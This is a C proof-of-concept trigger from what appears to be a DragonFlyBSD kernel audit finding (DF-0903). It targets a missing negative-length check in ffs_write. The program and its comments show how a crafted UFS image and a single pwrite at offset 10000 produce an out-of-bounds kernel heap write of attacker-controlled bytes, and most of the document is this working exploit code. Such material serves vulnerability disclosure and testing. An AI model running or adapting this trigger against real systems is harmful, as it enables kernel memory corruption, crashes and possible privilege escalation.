DragonFlyBSD Kernel Audit
DF-0903 / trigger.c
← back to finding ↓ download raw
/*
 * trigger.c - DF-0903 ffs_write OOB trigger (runs INSIDE the guest, as root,
 * against a UFS mount of the crafted image).
 *
 * Mount the crafted image at /mnt/test first, then run:
 *     ./trigger /mnt/test/target_file
 *
 * The trigger opens (creates) the target file on the crafted UFS mount and
 * performs a single pwrite() at an offset chosen so that
 *     blkoffset = offset & fs_qbmask  > fs_bsize
 *     xfersize  = fs_bsize - blkoffset  < 0   (signed)
 * which drives ffs_write() at ufs_readwrite.c:292-356 into the missing
 * `if (xfersize <= 0) panic` (present in ffs_read:147, absent in ffs_write)
 * and an OOB uiomove(bp, bp->b_data + blkoffset, (size_t)xfersize, uio).
 *
 * With the default crafted fs_qbmask=0x3FFF and fs_bsize=8192:
 *   offset = 10000 (0x2710)
 *   blkoffset = 10000 & 0x3FFF = 10000  (> fs_bsize=8192)
 *   xfersize  = 8192 - 10000 = -1808  (cast to size_t -> 0xFFFFFFFFFFFFF8F0)
 *   bp->b_data + 10000 is 1808 bytes PAST the 8192-byte buffer end.
 *   The 16-byte pwrite writes 16 attacker-controlled bytes there.
 *
 * Build: cc -o trigger trigger.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

#ifndef O_CREAT
#define O_CREAT  0x0002
#define O_WRONLY 0x0001
#endif

int main(int argc, char **argv){
    const char *path = (argc >= 2) ? argv[1] : "/mnt/test/target";
    /*
     * Choose offset so that (offset & 0x3FFF) > fs_bsize (8192).
     * 10000 & 0x3FFF = 10000 (0x2710), which is > 8192.
     * This makes xfersize = 8192 - 10000 = -1808.
     */
    off_t offset = 10000;
    size_t len = 16; /* keep the OOB write small to defeat slab-adjacent traps
                      * on noinv; on INVARIANTS-ON GENERIC a panic is expected. */
    unsigned char buf[64];
    memset(buf, 0x41, sizeof(buf));

    int fd = open(path, O_CREAT | O_WRONLY, 0644);
    if (fd < 0) { perror("open"); return 2; }
    printf("[trigger] opened %s fd=%d\n", path, fd);
    printf("[trigger] pwrite offset=%lld len=%zu\n", (long long)offset, len);
    printf("[trigger] crafted fs_qbmask=0x3FFF => blkoffset=offset&0x3FFF=%lld\n",
           (long long)(offset & 0x3fff));
    printf("[trigger] expected kernel: xfersize = 8192 - %lld = %lld (NEGATIVE)\n",
           (long long)(offset & 0x3fff),
           (long long)(8192 - (offset & 0x3fff)));
    printf("[trigger] expected kernel: bp->b_data + %lld is %lld bytes PAST 8192B buffer\n",
           (long long)(offset & 0x3fff),
           (long long)((offset & 0x3fff) - 8192));
    printf("[trigger] => OOB uiomove => expect panic (INVARIANTS) or silent heap corruption\n");
    fflush(stdout);

    ssize_t n = pwrite(fd, buf, len, offset);
    if (n < 0) {
        perror("[trigger] pwrite");
        printf("[trigger] pwrite returned -1 (errno above) -- no OOB observed\n");
    } else {
        printf("[trigger] pwrite returned %zd bytes -- NO PANIC (silent corruption?)\n", n);
    }
    fsync(fd);
    close(fd);
    return 0;
}